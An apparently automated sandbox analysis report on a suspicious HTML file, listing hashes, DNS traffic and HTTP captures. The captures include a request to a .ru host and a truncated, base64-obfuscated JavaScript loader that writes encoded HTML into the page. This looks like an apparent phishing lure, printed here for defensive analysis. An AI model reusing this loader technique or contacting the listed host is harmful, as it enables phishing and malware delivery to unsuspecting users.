Preview:	wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww....eU..S.........0..S.s..,....\.e..F.&....oUR.}Q.C..2.TD....5..#..h.H.2.\|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#...#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......LCE..Nf~.N.eJ.iXnXC.&....t.U..Nr.@..lZ.... .X..

File type:	HTML document, ASCII text, with very long lines (8725), with CRLF line terminators
Entropy (8bit):	2.600922693193559
TrID:	HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (11001/1) 26.83% HyperText Markup Language (6006/1) 14.65%
File name:	Recorded_VM Condenast .html
File size:	10'414 bytes
MD5:	70288e07fac86d65f4c79870b0437c81
SHA1:	ed7736d3823d3d6f5a4b4b698ed5ff7b34ce4729
SHA256:	118a6200cc808822afac0cfa40ffe806ff866dd155b97d40bb99732ef325740d
SHA512:	7ae85af0692e4df1f1a19711770f07bdd1911b424b9f37288bb5fa5b70ec32abbeb58e7e4a283417bb9e76f2ef96997069c2861a247f106de61d8416cec7bc7d
SSDEEP:	192:sASirQ/XYZYjdZzN1pFhZH9NnhbLjJjd3pfVFbZT1t5RRLzhxZlr39FT1TN5n5HC:sASir4YZYjdZzN1pFhZH9NnhbLjJjd3Y
TLSH:	E5229C467D4B9A4350EED263FB565C36C72BDCE74E78492F30849182EA70274C58ED74
File Content Preview:	<html>.. <head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="robots" content="noindex, nofollow">.. </head>.. <body>.. <span hidden>The chef tried a new recipe for dinner.</span>.. </bo

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2025 14:33:56.394654989 CET	53	65093	1.1.1.1	192.168.2.9
Mar 27, 2025 14:33:56.410160065 CET	53	52251	1.1.1.1	192.168.2.9
Mar 27, 2025 14:33:56.950443029 CET	53	51193	1.1.1.1	192.168.2.9
Mar 27, 2025 14:33:57.063951015 CET	53	55258	1.1.1.1	192.168.2.9
Mar 27, 2025 14:33:59.706902027 CET	58548	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:33:59.707005978 CET	49451	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:33:59.789823055 CET	53	58548	1.1.1.1	192.168.2.9
Mar 27, 2025 14:33:59.789848089 CET	53	49451	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:02.230124950 CET	60698	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:02.230370045 CET	52997	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:02.473062038 CET	53	60698	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:02.533786058 CET	53	52997	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:04.053800106 CET	61782	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:04.054255962 CET	54924	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:04.055985928 CET	61680	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:04.056183100 CET	53640	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:04.058834076 CET	55178	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:04.059006929 CET	62335	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:04.136682034 CET	53	61782	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:04.136864901 CET	53	54924	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:04.138668060 CET	53	61680	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:04.139101028 CET	53	53640	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:04.141532898 CET	53	55178	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:04.141655922 CET	53	62335	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:06.851754904 CET	50433	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:06.851955891 CET	54751	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:06.934715033 CET	53	50433	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:06.934801102 CET	53	54751	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:14.055418968 CET	53	57074	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:22.953138113 CET	57101	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:22.953313112 CET	57391	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:23.041618109 CET	53	57101	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:23.047173023 CET	53	57391	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:24.011781931 CET	60404	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:24.011914968 CET	53342	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:24.094955921 CET	53	60404	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:24.095144033 CET	53	53342	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:24.781034946 CET	50057	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:24.781192064 CET	50575	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:24.864001036 CET	53	50057	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:24.864299059 CET	53	50575	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:25.646157980 CET	52809	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:25.646305084 CET	60093	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:25.728996992 CET	53	52809	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:25.729099035 CET	53	60093	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:27.807210922 CET	57402	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:27.807359934 CET	53862	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:27.810904980 CET	53088	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:27.811073065 CET	57594	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:27.811778069 CET	58225	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:27.812129974 CET	64660	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:27.890083075 CET	53	57402	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:27.890130043 CET	53	53862	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:27.914208889 CET	53	58225	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:27.919259071 CET	53	57594	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:27.959500074 CET	53	53088	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:27.985544920 CET	53	64660	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:28.317339897 CET	62534	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:28.317559004 CET	62626	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:28.326524019 CET	64344	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:28.326678991 CET	49411	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:28.405930042 CET	53	62534	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:28.405942917 CET	53	62626	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:28.414705038 CET	53	64344	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:28.424007893 CET	53	49411	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:31.360778093 CET	64159	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:31.360980034 CET	51545	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:31.436466932 CET	53	58707	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:31.443511009 CET	53	64159	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:31.443645000 CET	53	51545	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:32.006272078 CET	63628	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:32.006531954 CET	62518	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:32.100419044 CET	53	63628	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:32.195621967 CET	53	62518	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:32.607769966 CET	62818	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:32.608074903 CET	58229	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:32.690690994 CET	53	62818	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:32.690802097 CET	53	58229	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:33.018117905 CET	53	49985	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:33.699857950 CET	53	61965	162.159.36.2	192.168.2.9
Mar 27, 2025 14:34:34.056301117 CET	64839	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:34.056301117 CET	50696	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:34.139054060 CET	53	64839	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:34.139090061 CET	53	50696	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:34.373188972 CET	51279	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:34.373370886 CET	65127	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:34.541703939 CET	53	65127	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:34.764691114 CET	53	51279	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:35.675312042 CET	52913	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:35.675539970 CET	49607	53	192.168.2.9	1.1.1.1
Mar 27, 2025 14:34:35.759167910 CET	53	52913	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:35.759186983 CET	53	49607	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:55.839440107 CET	53	61543	1.1.1.1	192.168.2.9
Mar 27, 2025 14:34:55.977562904 CET	53	58254	1.1.1.1	192.168.2.9
Mar 27, 2025 14:35:26.179270983 CET	53	57353	1.1.1.1	192.168.2.9
Mar 27, 2025 14:35:32.070941925 CET	138	138	192.168.2.9	192.168.2.255
Mar 27, 2025 14:36:11.789125919 CET	53	51070	1.1.1.1	192.168.2.9

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 27, 2025 14:34:27.985935926 CET	192.168.2.9	1.1.1.1	c26f	(Port unreachable)	Destination Unreachable
Mar 27, 2025 14:34:32.195676088 CET	192.168.2.9	1.1.1.1	c2b5	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 27, 2025 14:34:08.732369900 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 27, 2025 14:34:08.816155910 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 27 Mar 2025 13:03:36 GMT Expires: Thu, 27 Mar 2025 13:53:36 GMT Age: 1832 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 27, 2025 14:34:08.837685108 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 27, 2025 14:34:08.921725035 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 27 Mar 2025 13:13:30 GMT Expires: Thu, 27 Mar 2025 14:03:30 GMT Age: 1238 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:02 UTC	693	OUT	GET /ZwM7s15/ HTTP/1.1 Host: mgdm.icemiceop.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:03 UTC	1210	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mehUCOEmz0sXDfm17tM6bjl7z85whUKWcVTs8lWSZQdHuATqux39aWmdyjvRz890XuY8Cx4JqUZANfzoaCXQDSxCcLb3KqFaETzgywdInIEEM7ADQxzp5NDiE01oVyE%2BUUEo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=20603&min_rtt=20600&rtt_var=7731&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1597&delivery_rate=138071&cwnd=252&unsent_bytes=0&cid=10475ba9b7a4568f&ts=461&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkJrK1lKS0NxRkIwTmVqbW5jT2U0TFE9PSIsInZhbHVlIjoid0RzT1lOak5iTC9Bd0ZpZ3YyRXNTeGZaSjJEbXZIMWNreGFqTVFzaXhLK0pBTTZ0eE1rbHZ0ZHVVUGc4SWpHL0ZCYkVTcTNMMDFoRFBLck80UnpBTnM1SVdnWXZxSy8yNTRvYUczVFFYa1dVcHgzZHMydzBGZUNaeWlGNE1Bd00iLCJtYWMiOiI5Zjc2NTRiYjBkY2NhZDFkODU5YjYwYjYwYjNjYzYzZTJmNjczODVhOWNiYjhmYTQwOGEwYzkwZTQ5ZmQxOTM4IiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 15:34:03 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-27 13:34:03 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 46 31 4f 44 46 35 53 6d 34 34 4e 32 68 75 62 44 46 45 61 6c 56 78 54 6e 4a 4d 64 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 6b 77 79 64 57 39 7a 53 6b 6c 34 52 56 52 7a 59 6b 64 48 57 45 45 31 55 57 6c 71 57 53 73 32 57 6e 52 73 57 6b 39 61 57 48 5a 6e 51 55 35 55 65 58 4a 76 54 48 42 45 65 6e 68 71 51 33 4e 50 51 6b 6f 30 4e 32 6b 7a 65 55 4a 77 4e 44 55 33 53 32 56 79 54 6d 31 31 54 54 5a 73 54 6e 64 77 4d 46 6c 6b 57 6b 30 31 61 33 5a 56 4c 7a 4e 6c 63 7a 5a 6b 5a 45 68 47 53 46 70 32 57 6a 63 35 61 54 52 4f 5a 48 63 31 61 6a 68 78 56 33 55 35 4d 6c 4a 5a 51 6c 46 70 4e 6c 5a 7a 63 45 63 30 57 57 4e 71 59 56 5a 75 61 48 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InF1ODF5Sm44N2hubDFEalVxTnJMdHc9PSIsInZhbHVlIjoiNkwydW9zSkl4RVRzYkdHWEE1UWlqWSs2WnRsWk9aWHZnQU5UeXJvTHBEenhqQ3NPQko0N2kzeUJwNDU3S2VyTm11TTZsTndwMFlkWk01a3ZVLzNlczZkZEhGSFp2Wjc5aTROZHc1ajhxV3U5MlJZQlFpNlZzcEc0WWNqYVZuaHY
2025-03-27 13:34:03 UTC	1369	IN	Data Raw: 62 66 35 0d 0a 3c 73 63 72 69 70 74 3e 0a 4d 59 71 4a 67 55 54 5a 50 7a 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 74 52 30 52 4e 4c 6d 6c 6a 5a 57 31 70 59 32 56 76 63 43 35 79 64 53 39 61 64 30 30 33 63 7a 45 31 4c 77 3d 3d 22 29 3b 0a 46 52 42 76 49 4a 75 47 63 6f 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 7a 71 70 66 76 76 74 6c 74 41 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 4d 59 71 4a 67 55 54 5a 50 7a 20 3d 3d 20 46 52 42 76 49 4a 75 47 63 6f 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 7a 71 70 66 76 76 74 6c 74 41 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 Data Ascii: bf5<script>MYqJgUTZPz = atob("aHR0cHM6Ly9tR0RNLmljZW1pY2VvcC5ydS9ad003czE1Lw==");FRBvIJuGco = atob("bm9tYXRjaA==");zqpfvvtltA = atob("d3JpdGU=");if(MYqJgUTZPz == FRBvIJuGco){document[zqpfvvtltA](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+C
2025-03-27 13:34:03 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 Data Ascii: k44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g77
2025-03-27 13:34:03 UTC	330	IN	Data Raw: 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 Data Ascii: 44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776
2025-03-27 13:34:03 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 Data Ascii: 7ff9776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk4
2025-03-27 13:34:03 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 Data Ascii: k44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44
2025-03-27 13:34:03 UTC	1369	IN	Data Raw: 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk776g776
2025-03-27 13:34:03 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 Data Ascii: 76g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk776g776g
2025-03-27 13:34:03 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 Data Ascii: Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk7
